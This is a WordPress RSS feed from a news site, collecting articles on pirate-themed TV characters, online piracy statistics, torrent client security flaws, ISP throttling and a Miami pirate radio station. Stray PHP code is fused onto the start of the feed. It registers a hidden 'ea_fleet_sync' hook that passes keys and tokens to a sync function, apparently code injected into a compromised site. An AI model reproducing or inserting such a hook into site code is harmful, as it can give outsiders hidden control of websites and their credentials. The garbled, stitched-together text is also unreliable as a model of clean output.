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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Pirate – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 03 Mar 2020 08:26:36 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Pirate – Brief News https://briefnews.eu 32 32 Rick and Morty plot hole: Fans expose huge problem with Rick’s pirate phobia https://briefnews.eu/rick-and-morty-plot-hole-fans-expose-huge-problem-with-ricks-pirate-phobia/ https://briefnews.eu/rick-and-morty-plot-hole-fans-expose-huge-problem-with-ricks-pirate-phobia/#respond Tue, 03 Mar 2020 08:26:36 +0000 https://briefnews.eu/rick-and-morty-plot-hole-fans-expose-huge-problem-with-ricks-pirate-phobia/

Sadly, there’s no release date for the second half of season four, but series co-creators Dan Harmon and Justin Roiland have confirmed the season will continue in 2020.

Plus, there have been an additional 70 episodes ordered on top of the first three seasons which should leave long term viewers satisfied.

Hopefully the writers won’t run into more problems with plot holes, though, admittedly, it would definitely be in the spirit of the erratic comedy series.

Rick and Morty season 4 will return to Adult Swim and E4 in 2020.

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]]> https://briefnews.eu/rick-and-morty-plot-hole-fans-expose-huge-problem-with-ricks-pirate-phobia/feed/ 0 Why the ‘Star Wars’ Pirate Hondo Ohnaka Deserves the Attention of Fans and Lucasfilm https://briefnews.eu/why-the-star-wars-pirate-hondo-ohnaka-deserves-the-attention-of-fans-and-lucasfilm/ https://briefnews.eu/why-the-star-wars-pirate-hondo-ohnaka-deserves-the-attention-of-fans-and-lucasfilm/#respond Fri, 21 Sep 2018 21:07:02 +0000 http://briefnews.eu/why-the-star-wars-pirate-hondo-ohnaka-deserves-the-attention-of-fans-and-lucasfilm/ Star Wars - Hondo Ohnaka

(Welcome to A Different Point of View, a column where we explore the supporting characters of the Star Wars universe and discuss why they deserve more time in the spotlight.)

Earlier this week it was “International Talk Like A Pirate Day,” so, I figured, in honor of the Internet holiday we’d look at the most infamous pirate in Star Wars: Hondo Ohnaka. If you have no idea who that is, don’t worry. He’s a slightly deeper cut than previous entries of this column. Hondo isn’t even on the first page of Google results for “Hondo,” so ignorance of his existence is understandable. But now? Now that ignorance ends.

Who Is Hondo Ohnaka?

Absolutely the first thing you need to know about Hondo Ohnaka is that he is voice by Jim Cummings. That name is familiar because he’s the voice of Winnie the Pooh. So you just need to have that knowledge in your head for what comes next.

Hondo is a male Weequay, a humanoid species native to the enslaved Hutt planet of Sriluur. A desert wasteland, Weequay’s skin is tough enough to make them resistant to blasters. Coupled with the realities of how society would function on such a hostile planet, Weequay are oftentimes found as bodyguards, mercenaries…or pirates.

Little is known about Hondo’s early life. By the time audiences are introduced to him, Hondo is a full-fledged pirate king. He even has his own planet, Florrum. From this base of operation, Hondo’s “Ohnaka Gang” empire stretched throughout Hutt space. Charming and ruthless, Hondo mostly comes across as a fun uncle stereotype; a sort of ‘Aw shucks, me?’ attitude that belies a calculating mind. This is a man who once captured not one, but two Jedi and a Sith and effectively held them hostage, despite not being Force-sensitive himself. Honorable by his own code, Hondo is as good as his word, and leans more towards Chaotic Good than he’d like to admit.

When Was He Introduced?

Hondo first appeared in the Star Wars lexicon on January 2, 2009. Star Wars: The Clone Wars aired the episode “Dooku Captured,” the first of a two-part arc that gave Hondo much to do straight out of the gate. In his inaugural run, Hondo manages to disarm and capture Count Dooku, ransom him for one million credits’ worth of drugs, convinced the Republic to send the Jedi to negotiate, double crosses the Jedi, drugs and captures them, fends off three escape attempts by his prisoners, and is only thwarted by a double-crossing underling who wanted all the drugs for himself.

Yes, this was a children’s show, why do you ask?

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Why He’s Fascinating

Hondo is the Star Wars version of the Most Interesting Man In The World™. His entire existence sounds exhausting and amazing at the same time. Hondo has been in a relationship with Auura Sing, with one of the most dangerous bounty hunters in the galaxy, was friends with Jango Fett, was crucial to Boba Fett’s formative years, and owned the Slave I for a while. He has escaped Imperial prison, created and maintained the respect of a planet-wide pirate gang, survived the downfall of said planet-wide pirate gang, and stolen the personal smuggling ship of a Crime Lord.

On the flip side, Hondo has a soft spot for children. Anytime Hondo deals with kids, it’s like watching Gordon Ramsey talk to to children: unsettling but sweet. Somewhere in his past, Hondo learned to speak fluent Ugnaught and has an affection for the small humanoid boar-like species. After the collapse of “Ohnaka’s Gang,” Hondo took on Ugnaughts as his crew and considers them his family. Despite being a self-serving, avaricious pirate, Hondo never sides with the Imperials in any era. For a character that has only been in seventeen episodes across two series — The Clone Wars and Star Wars Rebels — Hondo has live a very full, complex narrative. Basically, he’s is the perfect blend of amoral and ethical that audiences love in an anti-hero.

When a side character like Hondo is given a richly developed story arc over a long period of time, it let’s the audience evolve with him. Jim Cummings has voiced the character for nearly a decade. Within the framing of the narrative, Hondo has lived through two decades of upheaval in the galaxy. Even longer, if you count the new Star Wars section of Disney World which showcases Chewbacca making a deal with Hondo to borrow the Millennium Falcon outside the attraction where guests will get to ride the famous ship. All that means is that, every time Hondo pops up, he is slightly less cynical than the time before. But never losing that affable selfishness inherent to his core personality.

Watching Hondo struggle with his conscience makes him an incredibly easy character to root for. Even in his early episodes, when he was constantly kidnapping Jedi, Hondo was so personable that his captives often ended up fighting beside him when a true villain appeared. Like most people, Hondo’s better nature doesn’t always win the day. Sometimes he hurts the people he cares about, or makes a mistake so costly it leaves irreparable scars. Even the official Star Wars databank entry for Hondo acknowledges he’s a bundle of contradictions:

“[H]e maintained a peculiar relationship with the Republic — respecting the Jedi Knights, but not being above robbing them blind or betraying them.”

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What Stories Could Lucasfilm Tell?

As many as they can imagine. Seventeen appearances (plus a handful of canon comic book and Star Wars Destiny cameos) over an entire lifetime is nothing. For now, let’s just stick with the hooks Lucasfilm has already left behind for future writers to grab onto.

First, there’s Jango Fett. Earlier on in The Clone Wars, Hondo is thrown together with a teenaged Boba Fett. Long story short, Hondo convinces Boba to tell the Jedi where some hostages are because it’s what Jango would’ve wanted his son to do. Hondo tells the young clone that his father was an honorable man. It is never mentioned again. We have no idea how Hondo knew Jango Fett nor in what capacity. Were they mere acquaintances? Friends? Co-workers? If they were close, did Hondo know about Kamino or at least understand that every Clonetrooper looks eerily like his honorable compatriot?

Then there’s Aurra Sing. An infamous and deadly bounty hunter, Aurra is the one who brings Boba Fett into Hondo’s life. Former lovers, Aurra seeks out Hondo’s assistance, which he obviously doesn’t give, per the previous paragraph about honor and hostages. However, audiences are given an inkling of their relationship dynamic when Hondo refuses to even get involved, as that always ends poorly for him, though he is more than happy to extend his hospitality to Aurra and her crew. A polite, but firm, rejection.

Of course, Hondo’s past is a veritable gold mine of potential. What was his childhood like? When did he become a pirate? How does one move up the ranks to become the leader of a pirate planet? Did Hondo scrape his way up or was he born into some kind of pirate royalty? Why does he speak Ugnaught and have a soft spot for the species? What made him the way he is today?

And finally, there’s all the gaps in Hondo’s adulthood. He pops in and out of the cartoons as the narrative needs, but decades of not only surviving but thriving in a galaxy tearing itself apart must have some interesting stories. While Hondo was in the possession of Slave I, where did he go? What was the final nail in the coffin for Hondo’s pirate planet. Did the gang simply disperse or mutiny? What adventures did Hondo have in the interim years where he traveled mostly alone? And just what is his next act now that Star Wars Rebels is complete? If Galaxy’s Edge at Disney World is canon — and it is — Hondo will live long enough for Han Solo to become an adult. So just what was the old pirate up to in the years immediately after the Battle of Yavin? He helped the Rebellion cast off Imperial control of Lothal, an event that took place just one year before the first Death Star was destroyed. Between that and his former escape from Imperial prison, did Hondo go to ground? Continue to assist the Rebellion? Slide back into old bad habits without the moral scaffolding of his friends to hold him up?

Whatever the case, the world definitely needs flowery wit from a Weequay pirate who sounds like Winnie the Pooh with a three pack a day habit.

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Pirate TV boxes that falsely display the Federal Communications Commission logo should be removed from Amazon and eBay, an FCC commissioner told the companies last week.

Commissioner Michael O’Rielly, part of the FCC’s Republican majority, wrote a letter to the Amazon and eBay CEOs asking them to crack down on set-top boxes that violate FCC rules.

Amazon quickly responded, saying that it already takes steps to prevent sale of these products but that it is willing to step up enforcement if any such devices are still for sale on Amazon.

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]]> https://briefnews.eu/fcc-republican-asks-amazon-and-ebay-to-boost-crackdown-on-pirate-tv-boxes/feed/ 0 This Google Chrome extension hides all the FAKE torrents on Pirate Bay https://briefnews.eu/this-google-chrome-extension-hides-all-the-fake-torrents-on-pirate-bay/ https://briefnews.eu/this-google-chrome-extension-hides-all-the-fake-torrents-on-pirate-bay/#respond Sun, 15 Apr 2018 09:32:01 +0000 http://briefnews.eu/this-google-chrome-extension-hides-all-the-fake-torrents-on-pirate-bay/

The Pirate Bay is one of the most popular destinations for torrent users online, holding a place amongst the 100 most-visited websites worldwide.

The torrent repository achieved an infamous reputation by hosting torrent files which allowed users to download copyrighted material for free without permission from the rightsholders.

There is little vetting when it comes to torrent files on the platform.

As a result, in the past, cybercriminals have been able to leverage torrents to spread malware, as well as fraudulent files.

Cybersecurity company Siege CEO Jason Syversen told Consumer Reports that there are “very real technical concerns” about downloading content via torrents.

Syversen said: “There are some very real technical concerns.

“You’re dealing with these shady third-party sites, so it’s a great opportunity for people to insert malware into the BitTorrent client as well as transferring files with malicious content.”

Thankfully, an enterprising Reddit user has created a script to highlight – and hide – fake or fraudulent torrents on The Pirate Bay.

The Redditor, known as nicobelic, writes: “One of the things I’ve noticed after having to use Pirate Bay for a while, is the significant amount of fake torrents.

“For example if you browse the HD Movies section and sort by seeds, (depending on when their bot ran) you’ll see a ton of untrusted torrents with an unrealistic amount of seeds.

“The script has a couple options to get rid of these.

“The default behaviour is to hide untrusted torrents (torrents without the little pink or green skulls) if they have more than 1000 seeds.”

The Google Chrome browser add-on also allows users to “hide porn, french torrents, as well as cams and telesyncs”.

Chrome users can download the extension for free on the Web Store.

For those who don’t know, torrent files are not in and of themselves intrinsically illegally.

But those used to download copyrighted content for free without the permission of the rights holders undeniably are.

Torrents do not contain the file you wish to download, but instead, enables your computer to download the requested data in small chunks from a network of online participants.

Popular torrent websites like Kickass Torrents, ExtraTorrent and Torrentz.eu have all shutdown within the last year.

The Pirate Bay – the most well-known example of a torrent repository – is currently banned in the UK by most Internet Service Providers, or ISPs.

Those who download copyrighted content using a torrent site might find themselves the recipient of a warning letter from their broadband provider.

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]]> https://briefnews.eu/this-google-chrome-extension-hides-all-the-fake-torrents-on-pirate-bay/feed/ 0 Torrent sites, like Pirate Bay, get huge boost after illegal streaming shutdown https://briefnews.eu/torrent-sites-like-pirate-bay-get-huge-boost-after-illegal-streaming-shutdown/ https://briefnews.eu/torrent-sites-like-pirate-bay-get-huge-boost-after-illegal-streaming-shutdown/#respond Wed, 21 Mar 2018 12:42:04 +0000 http://briefnews.eu/torrent-sites-like-pirate-bay-get-huge-boost-after-illegal-streaming-shutdown/

Online streaming and visits to torrent sites continues to increase with new data suggesting global piracy rose by 1.6 per cent last year.

According to digital firm MUSO, there were over 300 billion visits to piracy sites in 2017.

Most of these views came from people trying to stream illegally but MUSO also saw a major increase in torrent usage.

The firm said this could be as a result of users becoming frustrated with their regular web-streaming sites being blocked or shutdown, and therefore choosing to return to trusted and more traditional methods of piracy.

Over the past year there has been a major campaign by content owners and authorities to block illegal streams with the Premier League recently announcing that these bans were working.

The viewing of TV content is driving force behind the rise with it up 3.4 per cent globally from 2016.

Meanwhile illegal movie streaming actually decreased by 2.3 percent in 2017.

Another trend is the way people are accessing material illegally with a huge rise in mobile usage.

MUSO states in their report that mobile heavily outweighs desktop when it comes to the devices used for accessing pirated music. A massive 87.13 per cent of visits are through mobile devices, compared to just 12.87 per cent from desktops.

Speaking about the data Andy Chatterley, co-founder and CEO, MUSO, said: “There is a belief that the rise in popularity of on-demand services – such as Netflix and Spotify – have solved piracy, but that theory simply doesn’t stack up.

“Our data suggests that piracy is more popular than ever.

“With the data showing us that 53 per cent of all piracy happens on unlicensed streaming platforms, it has become clear that streaming is the most popular way for consumers to access content, whether it be via legitimate channels, or illegitimate ones.

MUSO’s research also provides a view of which countries view the most content illegally with the US and Russia both coming out on top.

The UK also makes the top 10 along with France, Germany and India.

HERE’S THE TOP 10.

1. USA (27.9 billion), followed by:

2. Russian Federation (20.6 billion)

3. India (17 billion)

4. Brazil (12.7 billion) visits

5. Turkey (11.9 billion)

6. Japan (10.6 billion)

7. France (10.5 billion)

8. Indonesia (10.4 billion)

9. Germany (10.2 billion)

10. United Kingdom (9.0 billion)

“The piracy audience is huge and yet for the most part, it’s an opportunity that’s completely ignored,” added Chatterley.

It’s important that the content industries embrace the trends emerging from this data, not only in strategic content protection, but also in understanding the profile of the piracy ‘consumer’ for better business insight and monetising these audiences”

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]]> https://briefnews.eu/torrent-sites-like-pirate-bay-get-huge-boost-after-illegal-streaming-shutdown/feed/ 0 Forget Kodi and Pirate Bay – This popular streaming site could be next to face SHUTDOWN https://briefnews.eu/forget-kodi-and-pirate-bay-this-popular-streaming-site-could-be-next-to-face-shutdown/ https://briefnews.eu/forget-kodi-and-pirate-bay-this-popular-streaming-site-could-be-next-to-face-shutdown/#respond Sat, 17 Mar 2018 09:13:43 +0000 http://briefnews.eu/forget-kodi-and-pirate-bay-this-popular-streaming-site-could-be-next-to-face-shutdown/

Illegal streaming continues to come under the spotlight with blocks already stopping millions using TV Players, such as , from watching content without permission.

And after a recent discussion in the saying: “The U.S. is acting swiftly on Intellectual Property theft.

“We cannot allow this to happen as it has for many years!”

Now it seems another way of streaming illegal content is coming under pressure.

A recent investigation by the Motion Picture Association of America (MPAA) has discovered a new threat which is based in Vietnam.

And it’s so bad it’s being officially called the world’s most popular illegal movie site.

“Right now, the most popular illegal site in the world, 123movies.to (at this point), is operated from Vietnam, and has 98 million visitors a month,” Jan van Voorn, executive vice president & chief of Global Content Protection at the MPA said in a quote obtained by e.vnexpress.net.

“There are more services like this [123movies] – sites that are not helpful for local legitimate businesses,” added Voorn, who is working with the Office of the Police Investigation Agency (C44) to tackle the problem.

It’s unclear if this site is now being closed down but pressure is clearly growing on those that stream content illegally.

Here in the UK there have already been a number of arrests and fines handed out to people caught selling so-called “fully loaded” Kodi boxes.

And the feverishly-anticipated fight between Anthony Joshua and Wladimir Klitschko live on Facebook was fined £5,000 early this year.

The UK government’s Digital Economy Act, which came into force last year, means anyone caught sharing illegal files in the UK could now be imprisoned for up to 10 years.

Until now the maximum jail term for copyright infringement was two years but this has now been increased to a maximum of 10.

Minister of State for Digital and Culture at the Department for Culture, Media and Sport Matt Hancock said: “I’m delighted the Digital Economy Act has become law.

“This legislation will help build a more connected and stronger economy.

“The Act will enable major improvements in broadband rollout, better support for consumers, better protection for children on the Internet, and further transformation of government services.”

This new ruling is clearly aimed at those sharing files on a mass scale but user who watch live streams via TV players such as Kodi are also being warned.

Kieron Sharp, FACT Chief Executive, said: “Consumers need to be aware that devices that allow you access to premium pay-for TV channels without a legitimate subscription, or access to films that are not yet available to rent or buy, are illegal.

“Whilst end users are not a target, they could get swept up in one of our operations and become part of the whole criminal investigation, which could lead to prosecution alongside the suppliers, retailers and importers”

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]]> https://briefnews.eu/forget-kodi-and-pirate-bay-this-popular-streaming-site-could-be-next-to-face-shutdown/feed/ 0 End Of The Pirate Bay: Will YOU stop streaming illegally when this new service launches? https://briefnews.eu/end-of-the-pirate-bay-will-you-stop-streaming-illegally-when-this-new-service-launches/ https://briefnews.eu/end-of-the-pirate-bay-will-you-stop-streaming-illegally-when-this-new-service-launches/#respond Tue, 13 Mar 2018 10:43:45 +0000 http://briefnews.eu/end-of-the-pirate-bay-will-you-stop-streaming-illegally-when-this-new-service-launches/

A new movie subscription service, dubbed cPass, is preparing to launch in the UK.

The subscription service, which appears to be similar to MoviePass in the United States, allows customers to watch one 2D film a day for a flat monthly fee.

Subscribers pay £9.95 per month – and are able to watch up to 31 films in the cinema each month.

cPass describes itself as “the first UK and European cinema subscription service”. The service is currently only in sign-up mode and has yet to launch.

Similar to MoviePass, which has caused a number of controversies in the US, when you register for cPass and pay the monthly fee, you will receive a card in the mail.

Subscribers then only need to choose the film, movie theatre and showing they want to see, and “Check In” on the companion cPass smartphone app.

When subscribers arrive at the cinema, they need only to swipe the cPass card at the box office to reclaim their tickets and enjoy the movie.

A (IPO) published last year credited internet streaming services such as Spotify and Netflix for the lowest rate of online piracy in the UK in years.

Despite , bans, and (ISPs), online piracy is still popular amongst movie fans.

However, the introduction of a reasonably-priced, almost-unlimited subscription service, like cPass, that enables users to see the latest films at the cinema could have a similar effect as Netflix and Spotify.

MoviePass has enjoyed an enormous amount of success in the United States.

Last month, the service passed 2 million subscribers — less than a month after reaching the 1.5 million milestone.

MoviePass originally launched with a monthly subscription fee of $ 50 a month, some some £35 converted.

However, the service has enjoyed incredible user growth following its decision to drop the monthly subscription fee to $ 9.95 in August 2017.

Mitch Lowe, chief executive officer, told Variety: “We’re giving people a reason to go back to the movie theatres and they’re going in droves.

“With awards season here, we hope we can make Hollywood and exhibitors very happy by filling seats with eager audiences

“Based on the dramatic increase in the number of MoviePass subscribers over such a short period of time, we believe MoviePass will continue to grow its subscriber base significantly.”

It’s unclear when sign-ups can expect cPass to launch in the UK.

The FAQ doesn’t offer any clues about a potential release date, with the company admitting they are in “beta” at the moment.

According to Deadline, the vast majority of cinema chains in the UK have not heard of any forthcoming partnerships with cPass.

Odeon, Vue, Cineworld and Curzon are all listed as chains that cPass will work with, but there is no official agreement in place between them, Deadline states.

However, it’s possible cPass will not need an agreement in place.

The founders told Deadline that cPass can operate “at any venue that accepts credit and debit cards.”

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]]> https://briefnews.eu/end-of-the-pirate-bay-will-you-stop-streaming-illegally-when-this-new-service-launches/feed/ 0 Pirate Bay WARNING – Torrent security flaw discovered, find out if YOU are affected https://briefnews.eu/pirate-bay-warning-torrent-security-flaw-discovered-find-out-if-you-are-affected/ https://briefnews.eu/pirate-bay-warning-torrent-security-flaw-discovered-find-out-if-you-are-affected/#respond Sat, 24 Feb 2018 06:54:53 +0000 http://briefnews.eu/pirate-bay-warning-torrent-security-flaw-discovered-find-out-if-you-are-affected/

Pirate Bay fans have been put on alert about a torrent security flaw which could let hackers take control of their computers.

The Pirate Bay is the leading torrent download portal for people looking to illegally download movies and TV shows across the world.

But visitors to The Pirate Bay need to check which BitTorrent client they are using to manage downloads from the world’s “most resilient” torrent site.

With millions of users each day, uTorrent has long been one of the most popular torrent clients around.

But the software’s parent company BitTorrent has now been alerted to a serious security vulnerability.

Google’s Project Zero security team discovered the uTorrent flaw which can let attackers take control of a victim’s computer and steal their downloads.

The security flaws affect the uTorrent Classic and Web apps, and malicious websites can exploit the vulnerabilities.

The nefarious sites can download malicious code into the Windows start-up folder, where it will automatically run the next time a computer boots up.

Any site a user visits can then access downloaded files and browse download histories, ArsTechnica reported.

Google vulnerability researcher Travis Ormandy outlined the uTorrent security flaw in a blog post, and said he reported the issue back in December.

Ormandy added: “The vulnerability is now public because a patch is available, and BitTorrent have already exhausted their 90 days anyway.

“I see no other option for affected users but to stop using uTorrent Web and contact BitTorrent and request a comprehensive patch.

“We’ve done all we can to give BitTorrent adequate time, information and feedback, and the issue remains unsolved.”

Dave Rees, BitTorrent’s VP of engineering, said the security flaw should be resolved by the end of this week.

Speaking to The Register, he said: “All users will be updated with the fix automatically over the following days.

“The nature of the exploit is such that an attacker could craft a URL that would cause actions to trigger in the client without the user’s consent (e.g. adding a torrent).”

The fixed version of uTorrent is available to download right now on the BitTorrent client’s official website.

The patch will also get pushed out automatically to users.

This isn’t the first time that Ormandy uncovered a security risk that affects torrent users.

Earlier this month Google’s Project Zero vulnerability reporting team discovered a flaw which affected BitTorrent client Transmission.

The researcher published a proof-of-concept attack, with the flaw affecting users who control the BitTorrent client through a web browser.

Many clients that have remote access enabled are unprotected, and as such do not require users to enter a password.

Ormandy explained hackers can take advantage of this lax security and execute commands through the web interface.

This in effect turns the BitTorrent client into an access point where hackers can run whatever code they want after accessing your torrent downloads.

Ormandy said the exploit, which occurs once a victim visits a malicious site, works on the Google Chrome and Mozilla Firefox browsers on Windows and Linux.

The researcher said he expects other platforms and browsers are also affected.

On Twitter, Ormandy added that the vulnerability was the ”first of a few remote code execution flaws in various popular torrent clients.”

Project Zero only disclosed the security flaw after providing a fix.

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]]> https://briefnews.eu/pirate-bay-warning-torrent-security-flaw-discovered-find-out-if-you-are-affected/feed/ 0 Don’t pirate or we’ll mess with your Nest, warns East Coast ISP https://briefnews.eu/dont-pirate-or-well-mess-with-your-nest-warns-east-coast-isp/ https://briefnews.eu/dont-pirate-or-well-mess-with-your-nest-warns-east-coast-isp/#respond Fri, 05 Jan 2018 20:33:39 +0000 http://briefnews.eu/dont-pirate-or-well-mess-with-your-nest-warns-east-coast-isp/

Internet slowdowns at home aren’t just annoying anymore. They can be hazardous to your health or dangerous if you’re in an area that freezes.

Internet service provider Armstrong Zoom has roughly a million subscribers in the Northeastern part of the U.S. and is keen to punish those it believes are using file-sharing services.

The ISP’s response to allegedly naughty customers is bandwidth throttling — which is when an ISP intentionally slows down your internet service based on what you’re doing online. In this case, when said ISP believes you’re doing something illegal.

As part of its throttling routine, Armstrong Zoom’s warning letter openly threatens its suspected file-sharing customers about its ability to use or control their webcams and connected thermostats.

The East Coast company stated: “Please be advised that this may affect other services which you may have connected to your internet service, such as the ability to control your thermostat remotely or video monitoring services.”

The Night King will be pleased

A Nest Labs Inc. digital wireless controlled thermostat sits on display in the Smart Home section of a John Lewis Plc department store in London, U.K., on Friday, April 8, 2016. The increasing integration of connected devices into our lives, what is commonly referred to as the Internet of things or IoT, promises enormous benefits for consumers and businesses. Photographer: Chris Ratcliffe/Bloomberg via Getty Images

It’s disturbing news for those facing the severe East Coast weather this weekend. Even more so in light of the fact that file-sharing notices are routinely used on innocent people.

Armstrong Zoom delivers its internet service to states including Ohio, Pennsylvania, West Virginia and Maryland. This weekend, brutally cold temperatures are expected to follow in the wake of the powerful storm associated with the “bomb cyclone” that hit Maryland.

All US states served by Armstrong Zoom will be experiencing temperatures around or under freezing over the weekend and into the near future. Bandwidth throttling for customers in those areas who have connected thermostats could mean the difference between sickness and health, or even life and death. Seems like an extreme punishment for any allegedly downloaded Game of Thrones cam rips.

It’s a literally chilling thought and an entirely new problem under the gun of a regime absent of net-neutrality rules. All is connected and everything is affected. It won’t just be a slow Netflix connection that disrupts your online life.

If your ISP decides to throttle you, that means thermostats, cameras, lighting, speakers, alarm systems, refrigerators and everything you need to have a strong and reliable internet connection for will no longer be, well, reliable. With thermostats particularly, it’s important to learn how this might affect which one you have, specific to its generation; especially if you need to know how (or if) you can manually control it.

If an Armstrong Zoom customer is accused of illegal downloading, they have no recourse against being throttled. Request for comment from Armstrong Zoom was not returned by time of publication.

Customers who need their full service restored — to regain control over their thermostats — are forced to read an educational article about copyright infringement, answer questions about it and then sign an agreement stating they’ve done so.

For those in the path of this weekend’s killer icy blast raging into New England, especially pets and elderly, this is all very bad news, indeed.

Tell gran to buy the bundled thermostat package

That boneheaded net-neutrality repeal, then, could have much further reaching, and potentially deadly consequences.

Before December 14th, your ISP was not allowed to block or throttle any otherwise legal content or slow your speeds based on the types of traffic or application you’re using. However, it can in instances when there’s an ISP contract clause (or a “Fair Usage Policy”) stating that if a user breaks the data limit within a month, their connection would be throttled next month.

The rationale behind a “data cap” is that ISPs say it prevents overuse of a network by a small number of users. Legal things that require higher-bandwidth usage, which might be noticed by an ISP, include streaming, downloading and gaming.

But on December 14th any rationale for throttling (or not) went out the window. Thanks to the Federal Communications Commission (FCC), ISP’s became free to restrict without reason and make bandwidth deals with whomever it chooses to favor.

That’s because the FCC voted to repeal net-neutrality rules that had previously prevented ISPs like Comcast, AT&T and Verizon from throttling consumer bandwidth as they please.

We’ll never know if the FCC was thinking about grandma freezing to death in Maryland when her connected thermostat fails under ISP throttling. But either way, there’s a special place in hell for those who voted to repeal net neutrality, we can be sure. If gran survives this winter, maybe teach her how to do a speed test to see if she’s being throttled.

Let’s just hope this isn’t the year anti-piracy measures become lethal.

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“Pirate radio” in 2017 takes many forms, but here’s one: a north Miami couple hosting a transmitter in their backyard shed while a DJ’s signal is piped in over the Internet and promoted on Facebook—even after multiple warnings from the government and a gear seizure by the US Marshals. Oh—did I mention the $ 144,344 fine? Not that anyone’s likely to pay it.

Welcome to 90.1 MHz, “Radio Touche Douce,” a Haitian music station appearing to be so obviously illegal that it even has the ability to unite the current fractious set of FCC commissioners. It’s not even a secret; as the Miami Herald notes, the station is “the pulse of the Haitian music industry in Miami, organizing some of the most popular big-ticket parties while promoting bands and guiding konpa music fans to the next hit.” But that doesn’t mean it has been easy to shut down.

Here, in statements pulled right from FCC documents, is the story of how Radio Touche Douce has operated for years right under the nose of government investigators—and how the FCC has now upped the ante.

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